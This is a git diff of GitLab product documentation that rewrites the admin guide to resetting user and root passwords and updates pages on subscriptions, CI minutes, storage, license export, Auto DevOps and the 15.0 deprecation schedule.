+ DELETE FROM ci_variables WHERE project_id = <PROJECTID>;
+ ```
+
You may need to reconfigure or restart GitLab for the changes to take effect.
#### Reset runner registration tokens
diff --git a/doc/raketasks/index.md b/doc/raketasks/index.md
index 80aa52ed5a4..6227731e807 100644
--- a/doc/raketasks/index.md
+++ b/doc/raketasks/index.md
@@ -45,6 +45,7 @@ The following Rake tasks are available for use with GitLab:
| [SMTP maintenance](../administration/raketasks/smtp.md) | SMTP-related tasks. |
| [SPDX license list import](spdx.md) | Import a local copy of the [SPDX license list](https://spdx.org/licenses/) for matching [License Compliance policies](../user/compliance/license_compliance/index.md). |
| [Repository storage](../administration/raketasks/storage.md) | List and migrate existing projects and attachments from legacy storage to hashed storage. |
+| [Reset user passwords](../security/reset_user_password.md#use-a-rake-task) | Reset user passwords using Rake. |
| [Uploads migrate](../administration/raketasks/uploads/migrate.md) | Migrate uploads between local storage and object storage. |
| [Uploads sanitize](../administration/raketasks/uploads/sanitize.md) | Remove EXIF data from images uploaded to earlier versions of GitLab. |
| [Service Data](../administration/troubleshooting/gitlab_rails_cheat_sheet.md#generate-service-ping) | Generate and troubleshoot [Service Ping](../development/service_ping/index.md). |
diff --git a/doc/raketasks/user_management.md b/doc/raketasks/user_management.md
index f63c35ab475..09e1b626c0a 100644
--- a/doc/raketasks/user_management.md
+++ b/doc/raketasks/user_management.md
@@ -176,3 +176,7 @@ cp config/secrets.yml.bak config/secrets.yml
sudo /etc/init.d/gitlab start
```
+
+## Related topics
+
+- [Reset a user's password](../security/reset_user_password.md#use-a-rake-task).
diff --git a/doc/security/asset_proxy.md b/doc/security/asset_proxy.md
index abeb5c401da..6c3bce939df 100644
--- a/doc/security/asset_proxy.md
+++ b/doc/security/asset_proxy.md
@@ -7,7 +7,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Proxying assets **(FREE SELF)**
A possible security concern when managing a public-facing GitLab instance is
-the ability to steal a users IP address by referencing images in issues and comments.
+the ability to steal a user's IP address by referencing images in issues and comments.
For example, adding `![Example image](http://example.com/example.png)` to
an issue description causes the image to be loaded from the external
diff --git a/doc/security/reset_user_password.md b/doc/security/reset_user_password.md
index 8b89200e1a7..a61660f6a2f 100644
--- a/doc/security/reset_user_password.md
+++ b/doc/security/reset_user_password.md
@@ -5,121 +5,120 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: howto
---
-# How to reset user password **(FREE SELF)**
+# Reset a user's password **(FREE SELF)**
-There are a few ways to reset the password of a user.
+You can reset user passwords by using a Rake task, a Rails console, or the
+[Users API](../api/users.md#user-modification).
-## Rake Task
+## Prerequisites
+
+To reset a user password, you must be an administrator of a self-managed GitLab instance.
+
+## Use a Rake task
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52347) in GitLab 13.9.
-GitLab provides a Rake Task to reset passwords of users using their usernames,
-which can be invoked by the following command:
+Use the following Rake task to reset a user's password:
-```shell
-sudo gitlab-rake "gitlab:password:reset"
-```
+- **For Omnibus installations**
-GitLab asks for a username, a password, and a password confirmation. Upon giving
-proper values for them, the password of the specified user is updated.
+ ```shell
+ sudo gitlab-rake "gitlab:password:reset"
+ ```
-The Rake task also takes the username as an argument, as shown in the example
-below:
+- **For installations from source**
-```shell
-sudo gitlab-rake "gitlab:password:reset[johndoe]"
-```
+ ```shell
+ bundle exec rake "gitlab:password:reset"
+ ```
-NOTE:
-To reset the default admin password, run this Rake task with the username
-`root`, which is the default username of that administrator account.
+GitLab requests a username, a password, and confirmation of the password. When complete, the user's password is updated.
-## Rails console
+The Rake task can take a username as an argument. For example, to reset the password for the user with username
+`sidneyjones`:
-The Rake task is capable of finding users via their usernames. However, if only
-user ID or email ID of the user is known, Rails console can be used to find user
-using user ID and then change password of the user manually.
+- **For Omnibus installations**
-1. [Start a Rails console](../administration/operations/rails_console.md)
+ ```shell
+ sudo gitlab-rake "gitlab:password:reset[sidneyjones]"
+ ```
-1. Find the user either by username, user ID or email ID:
+- **For installations from source**
- ```ruby
- user = User.find_by_username 'exampleuser'
+ ```shell
+ bundle exec rake "gitlab:password:reset[sidneyjones]"
+ ```
- #or
+## Use a Rails console
- user = User.find(123)
+If you know the username, user ID, or email address, you can use the Rails console to reset their password:
- #or
+1. Open a [Rails console](../administration/operations/rails_console.md).
+1. Find the user:
- user = User.find_by(email: 'user@example.com')
- ```
+ - By username:
-1. Reset the password
+ ```ruby
+ user = User.find_by_username 'exampleuser'
+ ```
- ```ruby
- user.password = 'secret_pass'
- user.password_confirmation = 'secret_pass'
- ```
+ - By user ID:
-1. When using this method instead of the [Users API](../api/users.md#user-modification),
- GitLab sends an email to the user stating that the user changed their
- password. If the password was changed by an administrator, execute the
- following command to notify the user by email:
+ ```ruby
+ user = User.find(123)
+ ```
- ```ruby
- user.send_only_admin_changed_your_password_notification!
+ - By email address:
+
+ ```ruby
+ user = User.find_by(email: 'user@example.com')
+ ```
+
+1. Reset the password:
+
+ ```ruby
+ user.password = 'secret_pass'
+ user.password_confirmation = 'secret_pass'
```
+1. Optional. Notify the user that an administrator changed their password:
+
+ ```ruby
+ user.send_only_admin_changed_your_password_notification!
+ ```
+
1. Save the changes:
```ruby
user.save!
```
-1. Exit the console, and then try to sign in with your new password.
+1. Exit the console:
+
+ ```ruby
+ exit
+ ```
-NOTE:
-You can also reset passwords by using the [Users API](../api/users.md#user-modification).
+## Reset the root password
-## Password reset does not appear to work
+To reset the root password, follow the steps listed previously.
-If you can't sign on with the new password, it might be because of the [reconfirmation feature](../user/upgrade_email_bypass.md).
+- If the root account name hasn't changed, use the username `root`.
+- If the root account name has changed and you don't know the new username,
+ you might be able to use a Rails console with user ID `1`. In almost all
+ cases, the first user is the default administrator account.
-Try fixing this on the rails console. For example, if your new `root` password isn't working:
+## Troubleshooting
-1. [Start a Rails console](../administration/operations/rails_console.md).
+If the new password doesn't work, it might be [an email confirmation issue](../user/upgrade_email_bypass.md). You can
+attempt to fix this issue in a Rails console. For example, if a new `root` password isn't working:
-1. Find the user and skip reconfirmation, using any of the methods above:
+1. Start a [Rails console](../administration/operations/rails_console.md).
+1. Find the user and skip reconfirmation:
```ruby
user = User.find(1)
user.skip_reconfirmation!
```
-1. Try to sign in again.
-
-## Reset your root password
-
-The previously described steps can also be used to reset the root password.
-
-In normal installations where the username of root account hasn't been changed
-manually, the Rake task can be used with username `root` to reset the root
-password.
-
-If the username was changed to something else and has been forgotten, one
-possible way is to reset the password using Rails console with user ID `1` (in
-almost all the cases, the first user is the default administrator account).
-
-<!-- ## Troubleshooting
-
-Include any troubleshooting steps that you can foresee. If you know beforehand what issues
-one might have when setting this up, or when something is changed, or on upgrading, it's
-important to describe those, too. Think of things that may go wrong and include them here.
-This is important to minimize requests for support, and to avoid doc comments with
-questions that you know someone might ask.
-
-Each scenario can be a third-level heading, e.g. `### Getting error message X`.
-If you have none to add when creating a doc, leave this section in place
-but commented out to help encourage others to add to it in the future. -->
+1. Attempt to sign in again.
diff --git a/doc/security/webhooks.md b/doc/security/webhooks.md
index 89dd4f8e5fc..47ef90cbe55 100644
--- a/doc/security/webhooks.md
+++ b/doc/security/webhooks.md
@@ -26,11 +26,11 @@ sent.
Webhook requests are made by the GitLab server itself and use a single
(optional) secret token per hook for authorization (instead of a user or
-repository-specific token). As a result, these may have broader access than
-intended to everything running on the server hosting the webhook (which
-may include the GitLab server or API itself, e.g., `http://localhost:123`).
+repository-specific token). As a result, these requests may have broader access than
+intended, including access to everything running on the server hosting the webhook. This
+may include the GitLab server or API itself (for example, `http://localhost:123`).
Depending on the called webhook, this may also result in network access
-to other servers within that webhook server's local network (e.g.,
+to other servers within that webhook server's local network (for example,
`http://192.168.1.12:345`), even if these services are otherwise protected
and inaccessible from the outside world.
diff --git a/doc/subscriptions/bronze_starter.md b/doc/subscriptions/bronze_starter.md
index 78a9e324ada..3a58dd84614 100644
--- a/doc/subscriptions/bronze_starter.md
+++ b/doc/subscriptions/bronze_starter.md
@@ -28,7 +28,7 @@ the tiers are no longer mentioned in GitLab documentation:
- [Creating group memberships via CN](../user/group/index.md#create-group-links-via-cn)
- [Group push rules](../user/group/index.md#group-push-rules)
- [Managing group memberships via LDAP](../user/group/index.md#manage-group-memberships-via-ldap)
- - [Member locking](../user/group/index.md#prevent-members-from-being-added-to-a-group)
+ - [Member locking](../user/group/index.md#prevent-members-from-being-added-to-projects-in-a-group)
- [Overriding user permissions](../user/group/index.md#override-user-permissions)
- [User contribution analytics](../user/group/contribution_analytics/index.md)
- [Kerberos integration](../integration/kerberos.md)
@@ -39,7 +39,7 @@ the tiers are no longer mentioned in GitLab documentation:
- Issues:
- [Multiple assignees for issues](../user/project/issues/multiple_assignees_for_issues.md)
- [Issue weights](../user/project/issues/issue_weight.md)
- - [Issue histories](../user/project/issues/issue_data_and_actions.md#issue-history) contain changes to issue description
+ - Issue histories contain [changes to issue description](../user/discussions/index.md#view-description-change-history)
- [Adding an issue to an iteration](../user/project/issues/managing_issues.md#add-an-issue-to-an-iteration)
- [Iterations](../user/group/iterations/index.md)
- [Kerberos integration](../integration/kerberos.md)
diff --git a/doc/subscriptions/gitlab_com/index.md b/doc/subscriptions/gitlab_com/index.md
index a26feb6d97e..e174a144cfc 100644
--- a/doc/subscriptions/gitlab_com/index.md
+++ b/doc/subscriptions/gitlab_com/index.md
@@ -317,39 +317,65 @@ main quota. You can find pricing for additional CI/CD minutes on the
- Are only used after the shared quota included in your subscription runs out.
- Roll over month to month.
-To purchase additional minutes for your group on GitLab SaaS:
-
-1. From your group, go to **Settings > Usage Quotas**.
-1. Select **Buy additional minutes** and GitLab directs you to the Customers Portal.
-1. Locate the subscription card that's linked to your group on GitLab SaaS, click **Buy more CI minutes**, and complete the details about the transaction.
-1. Once we have processed your payment, the extra CI minutes are synced to your group namespace.
-1. To confirm the available CI minutes, go to your group, then **Settings > Usage Quotas**.
-
- The **Additional minutes** displayed now includes the purchased additional CI minutes, plus any minutes rolled over from last month.
-
To purchase additional minutes for your personal namespace:
1. In the top-right corner, select your avatar.
1. Select **Edit profile**.
1. On the left sidebar, select **Usage Quotas**.
1. Select **Buy additional minutes** and GitLab redirects you to the Customers Portal.
-1. Locate the subscription card that's linked to your personal namespace on GitLab SaaS, click **Buy more CI minutes**, and complete the details about the transaction. Once we have processed your payment, the extra CI minutes are synced to your personal namespace.
-1. To confirm the available CI minutes for your personal projects, go to the **Usage Quotas** settings again.
+1. Locate the subscription card that's linked to your personal namespace on GitLab SaaS, click **Buy more CI minutes**, and complete the details about the transaction.
+
+After we process your payment, the extra CI minutes are synced to your group
+namespace.
+
+To confirm the available CI minutes for your personal projects, go to the **Usage Quotas** settings again.
+
+The **Additional minutes** displayed now includes the purchased additional CI
+minutes, plus any minutes rolled over from last month.
+
+Be aware that:
+
+- Extra CI minutes assigned to one group cannot be transferred to a different
+ group.
+- If you have used more minutes than your default quota, those minutes are
+ deducted from your Additional Minutes quota immediately after your purchase of
+ additional minutes.
+
+### Purchase additional CI minutes on GitLab SaaS
+
+> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/6574) in GitLab 14.5.
+
+If you're using GitLab SaaS, you can purchase additional CI minutes so your
+pipelines aren't blocked after you have used all your CI minutes from your
+main quota. You can find pricing for additional CI/CD minutes on the
+[GitLab Pricing page](https://about.gitlab.com/pricing/). Additional minutes:
+
+- Are only used after the shared quota included in your subscription runs out.
+- Roll over month to month.
- The **Additional minutes** displayed now includes the purchased additional CI minutes, plus any minutes rolled over from last month.
+To purchase additional minutes for your group on GitLab SaaS:
+
+1. On the top bar, select **Menu > Groups** and find your group.
+1. On the left sidebar, select **Settings > Usage Quotas**.
+1. Select **Buy additional minutes**.
+1. Complete the details about the transaction.
+
+After we process your payment, the extra CI minutes are synced to your group
+namespace.
+
+To confirm the available CI minutes, go to your group, and then select
+**Settings > Usage Quotas**.
+
+The **Additional minutes** displayed now includes the purchased additional CI
+minutes, plus any minutes rolled over from last month.
Be aware that:
-- If you have purchased extra CI minutes before the purchase of a paid plan,
- we calculate a pro-rated charge for your paid plan. That means you may
- be charged for less than one year because your subscription was previously
- created with the extra CI minutes.
-- After the extra CI minutes have been assigned to a Group, they can't be transferred
- to a different Group by themselves, but they will transfer along with a subscription when
- changing the linked namespace for the subscription.
-- If you have used more minutes than your default quota, these minutes will
- be deducted from your Additional Minutes quota immediately after your purchase of additional
- minutes.
+- Extra CI minutes assigned to one group cannot be transferred to a different
+ group.
+- If you have used more minutes than your default quota, those minutes are
+ deducted from your Additional Minutes quota immediately after your purchase of
+ additional minutes.
## Storage subscription
@@ -363,7 +389,9 @@ locked. Projects can only be unlocked by purchasing more storage subscription un
### Purchase more storage
-To purchase more storage for either a personal or group namespace:
+You can purchase storage for your personal or group namespace.
+
+#### For your personal namespace
1. Sign in to GitLab SaaS.
1. From either your personal homepage or the group's page, go to **Settings > Usage Quotas**.
@@ -383,6 +411,32 @@ To purchase more storage for either a personal or group namespace:
The **Purchased storage available** total is incremented by the amount purchased. All locked
projects are unlocked and their excess usage is deducted from the additional storage.
+#### For your group namespace
+
+> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/5789) in GitLab 14.6.
+
+If you're using GitLab SaaS, you can purchase additional storage so your
+pipelines aren't blocked after you have used all your storage from your
+main quota. You can find pricing for additional storage on the
+[GitLab Pricing page](https://about.gitlab.com/pricing/).
+
+To purchase additional storage for your group on GitLab SaaS:
+
+1. On the top bar, select **Menu > Groups** and find your group.
+1. On the left sidebar, select **Settings > Usage Quotas**.
+1. Select **Storage** tab.
+1. Select **Purchase more storage**.
+1. Complete the details.
+
+After your payment is processed, the extra storage is available for your group
+namespace.
+
+To confirm the available storage, go to your group, and then select
+**Settings > Usage Quotas** and select the **Storage** tab.
+
+The **Purchased storage available** total is incremented by the amount purchased. All locked
+projects are unlocked and their excess usage is deducted from the additional storage.
+
## Contact Support
Learn more about:
diff --git a/doc/subscriptions/index.md b/doc/subscriptions/index.md
index b6aa2d09770..2cf3b9f7074 100644
--- a/doc/subscriptions/index.md
+++ b/doc/subscriptions/index.md
@@ -7,6 +7,11 @@ type: index, reference
# GitLab subscription **(PREMIUM)**
+INFO:
+Get advanced search and more with
+[a trial of GitLab Ultimate](https://about.gitlab.com/free-trial/index.html?glm_source=docs.gitlab.com&glm_content=u-subscription-docs).
+Free for 30 days.
+
GitLab offers tiers of features. Your subscription determines which tier you
have access to. Subscriptions are valid for 12 months.
@@ -149,7 +154,9 @@ To change the namespace linked to a subscription:
[linked](#change-the-linked-account) GitLab SaaS account.
1. Navigate to the **Manage Purchases** page.
1. Select **Change linked namespace**.
-1. Select the desired group from the **This subscription is for** dropdown.
+1. Select the desired group from the **This subscription is for** dropdown. For a group to appear
+ here, you must have the Owner [role](../user/permissions.md)
+ for that group.
1. Select **Proceed to checkout**.
Subscription charges are calculated based on the total number of users in a group, including its subgroups and nested projects. If the total number of users exceeds the number of seats in your subscription, your account is charged for the additional users.
diff --git a/doc/subscriptions/self_managed/index.md b/doc/subscriptions/self_managed/index.md
index aee18e3d763..94180da2bbd 100644
--- a/doc/subscriptions/self_managed/index.md
+++ b/doc/subscriptions/self_managed/index.md
@@ -283,6 +283,30 @@ It also displays the following important statistics:
| Maximum users | The highest number of billable users on your system during the term of the loaded license. |
| Users over license | Calculated as `Maximum users` - `Users in License` for the current license term. This number incurs a retroactive charge that needs to be paid for at renewal. |
+## Export your license usage
+
+> Introduced in GitLab 14.6.
+
+If you are an administrator, you can export your license usage into a CSV:
+
+1. On the top bar, select **Menu > Admin**.
+1. On the left sidebar, select **Subscription**.
+1. In the top right, select **Export license usage file**.
+
+This file contains all the information GitLab needs to manually process quarterly reconciliations or renewals. If your instance is firewalled or air-gapped, you can provide GitLab with this information.
+
+The **License Usage** CSV includes the following details:
+
+- License key
+- Email
+- License start date
+- License end date
+- Company
+- Generated at (the timestamp for when the file was exported)
+- Table of historical user counts for each day in the period:
+ - Date the count was recorded
+ - Active user count
+
## Renew your subscription
To renew your subscription,
diff --git a/doc/system_hooks/system_hooks.md b/doc/system_hooks/system_hooks.md
index dcab56a0d0f..72106a00191 100644
--- a/doc/system_hooks/system_hooks.md
+++ b/doc/system_hooks/system_hooks.md
@@ -44,6 +44,10 @@ denied access.
System hooks can be used, for example, for logging or changing information in an
LDAP server.
+In addition to these default events, you can enable triggers for other events,
+such as push events, and disable the `repository_update` event
+when you create a system hook.
+
NOTE:
We follow the same structure and deprecations as [Webhooks](../user/project/integrations/webhooks.md)
for Push and Tag events, but we never display commits.
@@ -55,7 +59,7 @@ To create a system hook:
1. On the top bar, select **Menu > Admin**.
1. On the left sidebar, select **System Hooks**.
1. Provide the **URL** and **Secret Token**.
-1. Select the checkbox next to each **Trigger** you want to enable.
+1. Select the checkbox next to each optional **Trigger** you want to enable.
1. Select **Enable SSL verification**, if desired.
1. Click **Add system hook**.
diff --git a/doc/topics/autodevops/customize.md b/doc/topics/autodevops/customize.md
index 906fea2e6ad..925f657c099 100644
--- a/doc/topics/autodevops/customize.md
+++ b/doc/topics/autodevops/customize.md
@@ -103,10 +103,14 @@ You can override this behavior by defining specific variables:
| Image Path | `$CI_REGISTRY_IMAGE/$CI_COMMIT_REF_SLUG` for branch pipelines. `$CI_REGISTRY_IMAGE` for tag pipelines. | `$CI_APPLICATION_REPOSITORY` |
| Image Tag | `$CI_COMMIT_SHA` for branch pipelines. `$CI_COMMIT_TAG` for tag pipelines. | `$CI_APPLICATION_TAG` |
-These variables also affect Auto Build. If you don't want to build and push an image to
+These variables also affect Auto Build and Auto Container Scanning. If you don't want to build and push an image to
`$CI_APPLICATION_REPOSITORY:$CI_APPLICATION_TAG`, consider
including only `Jobs/Deploy.gitlab-ci.yml`, or [disabling the `build` jobs](#disable-jobs).
+If you use Auto Container Scanning and set a value for `$CI_APPLICATION_REPOSITORY`, then you should
+also update `$CS_DEFAULT_BRANCH_IMAGE`. See [Setting the default branch image](../../user/application_security/container_scanning/index.md#setting-the-default-branch-image)
+for more details.
+
Here is an example setup in your `.gitlab-ci.yml`:
```yaml
diff --git a/doc/topics/autodevops/index.md b/doc/topics/autodevops/index.md
index 9340f89c502..585d484d3be 100644
--- a/doc/topics/autodevops/index.md
+++ b/doc/topics/autodevops/index.md
@@ -6,7 +6,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Auto DevOps **(FREE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/38366) in GitLab 11.0.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/38366) in GitLab 11.0.
+> - Support for the GitLab Agent was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/299350) in GitLab 14.5.
GitLab Auto DevOps is a collection of pre-configured features and integrations
that work together to support your software delivery process.
diff --git a/doc/topics/autodevops/multiple_clusters_auto_devops.md b/doc/topics/autodevops/multiple_clusters_auto_devops.md
index c6df5ac9e02..8156ae7c7ac 100644
--- a/doc/topics/autodevops/multiple_clusters_auto_devops.md
+++ b/doc/topics/autodevops/multiple_clusters_auto_devops.md
@@ -27,7 +27,7 @@ The following table is an example of how to configure the three different cluste
| Cluster name | Cluster environment scope | `KUBE_INGRESS_BASE_DOMAIN` variable value | Variable environment scope | Notes |
|--------------|---------------------------|-------------------------------------------|----------------------------|---|
| review | `review/*` | `review.example.com` | `review/*` | The review cluster which runs all [Review Apps](../../ci/review_apps/index.md). `*` is a wildcard, used by every environment name starting with `review/`. |
-| staging | `staging` | `staging.example.com` | `staging` | (Optional) The staging cluster which runs the deployments of the staging environments. You must [enable it first](customize.md#deploy-policy-for-staging-and-production-environments). |
+| staging | `staging` | `staging.example.com` | `staging` | Optional. The staging cluster that runs the deployments of the staging environments. You must [enable it first](customize.md#deploy-policy-for-staging-and-production-environments). |
| production | `production` | `example.com` | `production` | The production cluster which runs the production environment deployments. You can use [incremental rollouts](customize.md#incremental-rollout-to-production). |
To add a different cluster for each environment:
diff --git a/doc/topics/autodevops/stages.md b/doc/topics/autodevops/stages.md
index 039c369ce9b..ca004662395 100644
--- a/doc/topics/autodevops/stages.md
+++ b/doc/topics/autodevops/stages.md
@@ -635,7 +635,7 @@ ciliumNetworkPolicy:
#### Enabling Alerts
You can also enable alerts. Network policies with alerts are considered only if
-[GitLab Kubernetes Agent](../../user/clusters/agent/index.md)
+[Agent](../../user/clusters/agent/index.md)
has been integrated.
You can enable alerts as follows:
diff --git a/doc/topics/autodevops/upgrading_postgresql.md b/doc/topics/autodevops/upgrading_postgresql.md
index e526ba55465..258195bb89f 100644
--- a/doc/topics/autodevops/upgrading_postgresql.md
+++ b/doc/topics/autodevops/upgrading_postgresql.md
@@ -177,7 +177,7 @@ NOTE:
You can also
[scope](../../ci/environments/index.md#scope-environments-with-specs) the
`AUTO_DEVOPS_POSTGRES_CHANNEL`, `AUTO_DEVOPS_POSTGRES_DELETE_V1` and
-`POSTGRES_VERSION` variables to specific environments, e.g. `staging`.
+`POSTGRES_VERSION` variables to specific environments, for example, `staging`.
1. Set `AUTO_DEVOPS_POSTGRES_CHANNEL` to `2`. This opts into using the
newer 8.2.1-based PostgreSQL, and removes the older 0.7.1-based
diff --git a/doc/topics/cron/index.md b/doc/topics/cron/index.md
index f7a22bef07c..de83ec8b51b 100644
--- a/doc/topics/cron/index.md
+++ b/doc/topics/cron/index.md
@@ -9,7 +9,6 @@ info: To determine the technical writer assigned to the Stage/Group associated w
Cron syntax is used to schedule when jobs should run.
You may need to use a cron syntax string to
-[trigger nightly pipelines](../../ci/triggers/index.md#using-cron-to-trigger-nightly-pipelines),
create a [pipeline schedule](../../api/pipeline_schedules.md#create-a-new-pipeline-schedule),
or to prevent unintentional releases by setting a
[deploy freeze](../../user/project/releases/index.md#prevent-unintentional-releases-by-setting-a-deploy-freeze).
@@ -65,5 +64,7 @@ More examples of how to write a cron schedule can be found at
## How GitLab parses cron syntax strings
GitLab uses [`fugit`](https://github.com/floraison/fugit) to parse cron syntax
-strings on the server and [cron-validate](https://github.com/Airfooox/cron-validate)
-to validate cron syntax in the browser.
+strings on the server and [cron-validator](https://github.com/TheCloudConnectors/cron-validator)
+to validate cron syntax in the browser. GitLab uses
+[`cRonstrue`](https://github.com/bradymholt/cRonstrue) to convert cron to human-readable strings
+in the browser.
diff --git a/doc/topics/git/cherry_picking.md b/doc/topics/git/cherry_picking.md
index 64d1914019d..98458133937 100644
--- a/doc/topics/git/cherry_picking.md
+++ b/doc/topics/git/cherry_picking.md
@@ -74,7 +74,7 @@ into a different branch (`stable`):
git cherry-pick <SHA>
```
-## Related links
+## Related topics
- Cherry-pick commits with [the Commits API](../../api/commits.md#cherry-pick-a-commit)
- Git documentation [for cherry-picks](https://git-scm.com/docs/git-cherry-pick)
diff --git a/doc/topics/git/lfs/index.md b/doc/topics/git/lfs/index.md
index b21237203d7..0fe38e25df5 100644
--- a/doc/topics/git/lfs/index.md
+++ b/doc/topics/git/lfs/index.md
@@ -161,7 +161,7 @@ To resolve the problem, migrate the affected file (or files) and push back to th
git push
```
-1. (Optional) Clean up your `.git` folder:
+1. Optional. Clean up your `.git` folder:
```shell
git reflog expire --expire-unreachable=now --all
diff --git a/doc/topics/plan_and_track.md b/doc/topics/plan_and_track.md
index abede62c00b..13cb3f8923b 100644
--- a/doc/topics/plan_and_track.md
+++ b/doc/topics/plan_and_track.md
@@ -11,6 +11,12 @@ with milestones and track your team's time. Learn how to save time with
quick actions, see how GitLab renders Markdown text, and learn how to
use Git to interact with GitLab.
+<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
+For a thorough demo of Plan features, see
+[Multi-team planning with GitLab Ultimate](https://www.youtube.com/watch?v=KmASFwSap7c).
+In this video, Gabe describes a use case of a multi-team organization that uses GitLab
+with [Scaled Agile Framework (SAFe)](https://about.gitlab.com/solutions/agile-delivery/scaled-agile/).
+
## Basic workflow features
Planning features everyone needs to use day-to-day.
@@ -21,11 +27,14 @@ Planning features everyone needs to use day-to-day.
- [To-Do lists](../user/todos.md)
- [Using Git](../topics/git/index.md)
-## Team Planning
+## Team planning
Get work done as a team.
- [Comments and threads](../user/discussions/index.md)
+- [Customer relations (CRM)](../user/crm/index.md)
+ - [Contacts](../user/crm/index.md#contacts)
+ - [Organizations](../user/crm/index.md#organizations)
- [Issues](../user/project/issues/index.md)
- [Iterations](../user/group/iterations/index.md)
- [Labels](../user/project/labels.md)
@@ -35,9 +44,13 @@ Get work done as a team.
- [Time tracking](../user/project/time_tracking.md)
- [Wikis](../user/project/wiki/index.md)
-## Portfolio Management
+## Portfolio management
Align your work across teams.
- [Epics](../user/group/epics/index.md)
+ - [Multi-level epics](../user/group/epics/manage_epics.md#multi-level-child-epics)
+ - [Epic boards](../user/group/epics/epic_boards.md)
+ - [View health status](../user/project/issues/managing_issues.md#health-status)
- [Roadmaps](../user/group/roadmap/index.md)
+- [Planning hierarchies](../user/group/planning_hierarchy/index.md)
diff --git a/doc/update/deprecations.md b/doc/update/deprecations.md
index 42bd41ed74b..8bf14bc2dce 100644
--- a/doc/update/deprecations.md
+++ b/doc/update/deprecations.md
@@ -45,6 +45,7 @@ The Task Runner pod is used to execute periodic housekeeping tasks within the Gi
This will result in the rename of the sub-chart: `gitlab/task-runner` to `gitlab/toolbox`. Resulting pods will be named along the lines of `{{ .Release.Name }}-toolbox`, which will often be `gitlab-toolbox`. They will be locatable with the label `app=toolbox`.
Announced: 2021-08-22
+Planned removal: 2021-11-22
## 14.6
@@ -53,6 +54,7 @@ Announced: 2021-08-22
The [release-cli](https://gitlab.com/gitlab-org/release-cli) will be released as a [generic package](https://gitlab.com/gitlab-org/release-cli/-/packages) starting in GitLab 14.2. We will continue to deploy it as a binary to S3 until GitLab 14.5 and stop distributing it in S3 in GitLab 14.6.
Announced: 2021-08-22
+Planned removal: 2021-12-22
## 14.8
@@ -63,9 +65,19 @@ Distribution support and security updates for openSUSE Leap 15.2 are [ending Dec
Starting in 14.5 we are providing packages for openSUSE Leap 15.3, and will stop providing packages for openSUSE Leap 15.2 in the 14.8 milestone.
Announced: 2021-11-22
+Planned removal: 2022-02-22
## 15.0
+### API: `stale` status returned instead of `offline` or `not_connected`
+
+A breaking change will occur for the Runner [API](https://docs.gitlab.com/ee/api/runners.html#runners-api) endpoints in 15.0.
+
+Instead of the GitLab Runner API endpoints returning `offline` and `not_connected` for runners that have not contacted the GitLab instance in the past three months, the API endpoints will return the `stale` value, which was introduced in 14.6.
+
+Announced: 2021-12-22
+Planned removal: 2022-05-22
+
### Audit events for repository push events
Audit events for [repository events](https://docs.gitlab.com/ee/administration/audit_events.html#repository-push) are now deprecated and will be removed in GitLab 15.0.
@@ -75,6 +87,14 @@ feature flag. Enabling them can cause too many events to be generated which can
dramatically slow down GitLab instances. For this reason, they are being removed.
Announced: 2021-09-22
+Planned removal: 2022-05-22
+
+### CI/CD job name length limit
+
+In GitLab 15.0 we are going to limit the number of characters in CI/CD job names to 255. Any pipeline with job names that exceed the 255 character limit will stop working after the 15.0 release.
+
+Announced: 2021-12-22
+Planned removal: 2022-05-22
### Certificate-based integration with Kubernetes
@@ -89,12 +109,14 @@ For a more robust, secure, forthcoming, and reliable integration with Kubernetes
[Kubernetes Agent](https://docs.gitlab.com/ee/user/clusters/agent/) to connect Kubernetes clusters with GitLab.
Announced: 2021-11-15
+Planned removal: 2022-05-22
### Converting an instance (shared) runner to a project (specific) runner is deprecated
In GitLab 15.0, we will remove the feature that enables you to convert an instance (shared) runner to a project (specific) runner. Users who need to add a runner to only a particular project can register a runner to the project directly.
Announced: 2021-11-22
+Planned removal: 2022-05-22
### Deprecate `Versions` on base `PackageType`
@@ -103,12 +125,51 @@ As part of the work to create a [Package Registry GraphQL API](https://gitlab.co
In milestone 15.0, we will completely remove `Version` from `PackageType`.
Announced: 2021-11-22
+Planned removal: 2022-05-22
+
+### Deprecate `pipelines` fields in the Package GraphQL types
+
+As part of the work to create a [Package Registry GraphQL API](https://gitlab.com/groups/gitlab-org/-/epics/6318), the Package group deprecated the `pipelines` fields in all Package-related GraphQL types. As of GitLab 14.6, the `pipelines` field is deprecated in [`Package`](https://docs.gitlab.com/ee/api/graphql/reference/index.html#package) and [`PackageDetailsType`](https://docs.gitlab.com/ee/api/graphql/reference/index.html#packagedetailstype) due to scalability and performance concerns.
+
+In milestone 15.0, we will completely remove `pipelines` from `Package` and `PackageDetailsType`. You can follow and contribute to work on a replacement in the epic [GitLab-#7214](https://gitlab.com/groups/gitlab-org/-/epics/7214).
+
+Announced: 2021-12-22
+Planned removal: 2022-05-22
+
+### Deprecate legacy approval status names from License Compliance API
+
+We deprecated legacy names for approval status of license policy (blacklisted, approved) in the `managed_licenses` API but they are still used in our API queries and responses. They will be removed in 15.0.
+
+If you are using our License Compliance API you should stop using the `approved` and `blacklisted` query parameters, they are now `allowed` and `denied`. In 15.0 the responses will also stop using `approved` and `blacklisted` so you need to adjust any of your custom tools to use the old and new values so they do not break with the 15.0 release.
+
+Announced: 2021-12-22
+Planned removal: 2022-05-22
### Deprecate support for SLES 12 SP2
Long term service and support (LTSS) for SUSE Linux Enterprise Server (SLES) 12 SP2 [ended on March 31, 2021](https://www.suse.com/lifecycle/). The CA certificates on SP2 include the expired DST root certificate, and it's not getting new CA certificate package updates. We have implemented some [workarounds](https://gitlab.com/gitlab-org/gitlab-omnibus-builder/-/merge_requests/191), but we will not be able to continue to keep the build running properly.
Announced: 2021-11-22
+Planned removal: 2022-05-22
+
+### Deprecation of Runner status `not_connected` API value
+
+The GitLab Runner REST and GraphQL [API](https://docs.gitlab.com/ee/api/runners.html#runners-api) endpoints
+will return `never_contacted` instead of `not_connected` as the status values in 15.0.
+
+Runners that have never contacted the GitLab instance will also return `stale` if created more than 3 months ago.
+
+Announced: 2021-12-22
+Planned removal: 2022-05-22
+
